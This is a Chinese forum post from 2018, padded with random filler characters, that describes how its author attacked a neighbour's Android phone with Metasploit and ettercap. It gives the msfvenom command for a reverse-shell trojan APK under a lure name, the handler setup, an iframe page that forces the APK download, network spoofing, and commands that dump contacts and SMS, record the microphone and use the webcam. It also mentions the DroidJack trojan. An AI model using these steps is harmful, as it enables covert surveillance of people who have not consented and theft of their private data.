|
$ _: \" b1 v7 m; C e: b8 K 五、msf+ettercap入侵邻居安卓手机 7 l* H3 P ~3 m) L
( }. y8 o+ J+ N( L/ G7 P1 {, p
8 ^, k$ W3 `; e, }& h5 r 首先启动msf ! v) P4 |# k% I7 b0 V6 q" X
4 G- ^# g& b8 W, n' i2 X+ u
4 D/ O% S* K7 |2 Z" G7 T 先用kali生成一个安卓木马，如下命令： ' a, m! Z1 {" s
9 E5 L0 n/ c. z2 @5 R9 Y6 e4 v. D- Z' N
Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
, i2 C: ]& Y+ Q9 f) ^% K/ R
* Y) H( E4 F y" S. A% T" `
% R. L) w- H, [" J& V  为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 4 m, G: w5 A, x# B
2 B0 Q2 c0 S: r& C% G3 E x7 V! v1 g! c' t. P( [0 |' ?
然后进入msf ( i5 L& y/ T! U
+ C/ h# ^& B$ R# Y$ c; _6 @% }) I2 N! y/ l) d$ x8 U# Y' F
use exploit/multi/handler % C, c3 [" A2 W: j$ H
\6 \! d, A+ B% F5 n* y# _5 @ ]
3 t- `% [ \& k, B set payload android/meterpreter/reverse_tcp + b C% h* G5 K& J( ^; X8 a3 M
2 N$ H4 @4 U5 ?5 i
' L" p) S5 n0 V- [; T! }6 F% ?$ \ set LHOST 192.168.0.109 //ip为kaili的ip
" L5 t) o& i4 x F 4 g4 J$ w& u6 {: y7 }3 r, \
) v" D9 w) C! a& \( o, m7 M8 I set LPORT 44444 //端口一定要与前面生成的木马的端口一致
4 p Z7 l- r5 d7 a+ d5 N0 Z$ W6 w
% Q' \1 |8 `+ b4 F& g; H4 R0 X2 R" t* E0 [3 P9 e( ] Y3 }6 L; e
Exploit
0 b* h i" y1 a+ A( j: h
: l0 h; @) {# u1 p5 B8 ^
+ U/ ?: i' X! V& _$ L& F0 W3 x 
: @( t7 H+ l! g% ~3 M " C2 C( v- X) V L7 b- G
# l8 R2 i7 x9 g/ ?% [; ^ 下面我们开启ettercap -G
& {7 C- [8 ?5 s+ j . r9 {0 E: \9 n$ L) A! I3 m
6 h: l) `+ A8 |9 ~
我物理IP为 $ P, B; r* U4 e2 t1 k8 r+ {3 `" S
! ~. w8 ]% V- ?" m8 \
( f0 |. i' H- m" j7 w4 L$ x  . S0 T3 R+ g9 c; j" J
3 b; J! E1 e$ w
* L" w! |6 ^5 e( e' p. L
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
( f/ H5 `! D+ D. @) c
1 W6 u: M, f+ U' z" q. q8 {0 ^, L: E2 \/ y! g* B9 N
下面我们来设置一下
4 j6 [' b2 L" u/ E; D, w ' z1 u4 ?" y" ~4 f/ M3 x) d0 n% ?
0 y3 N W0 ?# O: m/ I
 1 K( E2 e# ^3 H1 O+ R2 m, I
" t; i9 K' p" R1 k1 I4 s& a
! a) o F! K0 p: b
在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，
0 S4 R( }0 k# p* K0 }& @- ?/ e1 ] 2 G8 {# Q% B; n! y- h
2 X# z2 k; a/ X $ Z- N. X* D) P4 [
}0 N: `: s. @' ~
7 I$ z! _7 _8 l 
8 a6 h2 Z, s* i - Q7 q* B3 u9 i& n
) @4 C, } H+ k* D 6 t0 ]$ K7 C6 `2 d& z; [& T
; N# m" f4 N5 v5 j7 B/ a2 ]9 z% v1 W z$ |
1 E4 Z- X+ g# p. G( I. D6 W
" V$ | x: R d
, d& P/ M6 ^* r4 F3 Z
& U3 o& h J+ I9 f
7 p) Z) ~2 T9 M6 `+ b9 Z. K: y. D! J9 b3 U5 O/ ~6 I% b% o
7 q, F& S) y6 x. n# ~6 N 9 G6 Z& S1 t4 V8 r7 ?: [& F/ ?
1 S( I# N1 |" A$ H" O# Y' |
" f+ L1 H4 r* i& R8 ~
* e# @9 i+ i8 d% T
: g; a5 V; | z) L6 A* ]0 w
, m* n9 h" I1 H: j1 P8 ~ + X% T9 |* v9 L" W
* n& D4 ^4 }+ d2 J9 s( f+ g
( w2 [4 q3 x6 G
f5 i3 J: {( f+ O, X) F0 s; h* Q
' J* y1 W m7 B) i/ e% ^
$ X, V$ X3 p- x
, Y' s" u/ H4 C& d) q& Q: d7 a, L& ]: x- F" ]2 j( Y3 i6 ?3 o
4 z/ f5 X/ j: P+ _9 I4 j! T
" j3 X0 x9 C9 D
( }0 Q' L" v) q* L) ~
$ t% \5 }) t% r p; E D& w A; V: c7 f7 n" X9 }. X
. j5 D2 s' f+ s ?
 ! L% C$ e8 c2 t1 D2 }
! f% u+ M. a3 q3 r0 M. R, {2 G3 A! n
下面我们开始攻击
& W* \) Q" U+ P5 N' w% C % L# d& g* \* m. ^# @6 P2 }( J9 a
1 u; E+ E( L. |( i' f
9 D; X) |8 Z+ z! B) l
* F; x( p; c2 c3 v
* T8 C( k# R9 [$ {: J5 O
) d+ T6 S8 T& V ) A u! g; n y+ a8 p3 \5 r
7 C* N$ b8 Y: ^& K k/ {/ v; ^9 W# B
8 f9 {7 D: v1 y7 O O- s
( a- U8 u: [2 r- L" V' a; L# ^ ~" U/ ?3 W, j/ c( h: c
/ R' G& ^4 {9 Y5 Q; x3 k
6 j) l, k3 G1 M' R7 E( E: Y, x# N% A N6 j" c6 |$ {
 0 v4 z# ~9 A: R6 }$ N
" y) p8 i( E6 c l6 i" N
& @% K; t- k3 \) H/ v 大概过了5分钟多，发现反弹成功了 / F# }, a1 D! o, L6 n
. F5 m+ E( @: D% T8 n! S" o f1 B1 b# K, ]: a& n/ I! Q
" p4 q' i. z( y. y4 D2 n7 b+ r( |
( a- G( y! N& b+ d" n! y# c9 [" j U( n5 p
6 J$ A) @& E7 I9 H4 M* u
# ^- b2 k- v7 ^) E/ G
- f% p; Q. a" f& i* I
. s- m5 p- W. t. t# P* t3 m% K1 m
; O8 e2 u& q- ]/ N+ n$ Z. x) J
, C$ ^% E4 n$ u I% C
( v; G T L4 C$ |' M/ ]) k : \* r! c- _6 u( f
0 Y# B9 W" k! f) K5 e3 Z$ d8 d
6 c. ~7 ~; @. H! |8 n) q/ z& P " c0 C, K; p N( e/ G
3 P5 o8 r# {, r5 ^) A! \4 F
( W, h W: A g2 y/ ~0 s# f7 u) J
9 {! o% v' d, ~: N3 g' O7 ?
! @* P( f: J% D5 h. K) v b# w' f  % x \7 V; h% a( O3 _
( m0 i/ T, \4 d" a: y
' ]- k4 T/ N6 |0 L h" o5 c 执行命令 / X2 i) r' k2 x! A+ B, {
& S5 c# O" j i8 j+ F
3 w8 X1 ?# @) i+ p c 8 Z% l1 L! u1 R4 ~
" s8 N. N+ P9 J5 {$ q' K
: s/ G5 C2 T* ?: X1 o
dump_contacts --》这个是导出电话 9 N& A9 f& ^4 Z$ p, k0 `
8 T* A+ N. P4 L; K7 ^6 ^
: J( w" a3 n0 V! X% H dump_sms --》这个是导出信息 9 F, p5 h! A5 V2 J8 ^8 h4 g7 f
h( M6 e0 L& O0 M' [
) O+ z' n6 V+ X/ b) B; S/ Y7 A record_mic Record audio from the default microphone for X seconds
$ I3 t8 ?: T/ t5 x 2 n' A' [% Y9 z3 j; P# b3 c
. W, _1 H9 r4 R" j. N: M+ A; ~
webcam_chat Start a video chat 2 k1 g$ K" \9 W" E
6 _& `3 m8 ~. p, m3 N
1 n. E2 A9 J, |4 a webcam_list List webcams
- x5 N/ x, G& }; S% r; H( s
, O+ f& M. `0 |$ u& X5 \! \3 d
2 ^/ ? X/ }: U+ Y, F webcam_snap Take a snapshot from the specified webcam
! x" @) e' q" Q4 D . _$ R- N' d* Y6 o1 J
; O0 g$ r5 L' d# e! i2 Y
webcam_stream  lay a video stream from the specified webcam - d1 P" i8 p0 d" J& f' [" F
6 @ S0 j0 M0 e+ g
& C# T2 ? k8 B7 z M* H0 [- L$ ~  - @; n5 e# h3 t" t& g( q
& `2 }; Z' ]1 j- `6 o
% Z2 j* I" A6 [4 ? 
- u# M7 s$ a% Z7 e6 X
, B6 W# Q& Z0 I
* C) d& V1 X, z3 c9 t) ~0 P" E 我们打开看一下电话薄， - [" D3 n7 [7 k- q: d
0 \& p: w& U' G, J. m( G6 f
! j9 e! a$ s. A0 w & H) W7 h1 C# }1 q
; v/ M! o1 n1 ^# a m9 R: Q
$ i. `$ q9 t, y; [* R! w3 |) d0 t  ' }4 T3 N4 j0 t2 w! H
+ `1 Z. L; @- \, {" [% u
: ]# ]! x1 x a' S2 e! C ; a* j, `5 Z2 `5 ?' @) W
8 B! J) a7 q$ d5 I: O: u' A3 V5 h/ m) i& Z8 ]/ z9 u
' h! T- m" U2 }0 s) J
3 J R& G6 n9 _
! f0 g! D& ]+ W {- c+ J 
4 @! s' e' j" c+ s
1 N" X$ \; C4 G7 H l$ }- G# Q
% a. v% U7 F; s/ d: J/ y% d" E
0 A' ?* I! z2 ]/ {: w( S4 b1 b
8 |' [) Y2 e3 R' Q; Z
: u2 `$ { h- | 我们同时欺骗成DroidJack木马，使用方法如图： + g% E/ J4 b! J. h( ?
$ t' @8 O1 K; Q2 h/ O
/ N8 B' q# p$ }/ s) L4 [
 ) T6 u, I5 G+ \; O0 F0 E
, Q, E4 k; x! M( O: Q
4 Y2 x, ^! {& }) J5 ? 8 z1 d# S+ v6 ?
( _0 ~4 U4 Y( S# E X( D, n7 n1 M1 r8 a
 5 T9 K/ \. `7 k
6 g$ ]% P; t0 X- L: s: ^. _4 N! L$ E" P5 d$ V* |! o$ ~
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 2 o; ]9 l& h; m4 r7 @
9 ]8 Y0 n5 K1 [- F' _) s7 ?5 {6 y! E: {3 ~5 ]
0 Y4 Q2 ^6 `# h. l; H7 J ) E% `& `# i' C- C2 g# q+ i
: H; e( x0 u' n& W' j2 v
 + t' f1 j3 h4 Z8 g
) {& g" I# G# j" y4 S1 q
( j" A5 ?, r9 c8 G% A J  ! V4 o5 }4 y- D( V* L" m- N0 v$ y, W
4 I6 m* X8 x: _$ A
7 [ P# T( l; ~. U$ Q4 y
  8 A& I& ?. P9 `7 v* m6 V2 L
6 A" L) U3 w1 Y1 A1 L* }* E
8 V$ Y( j. H8 \) b
) U# H% d' m6 |1 h; ?; w
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对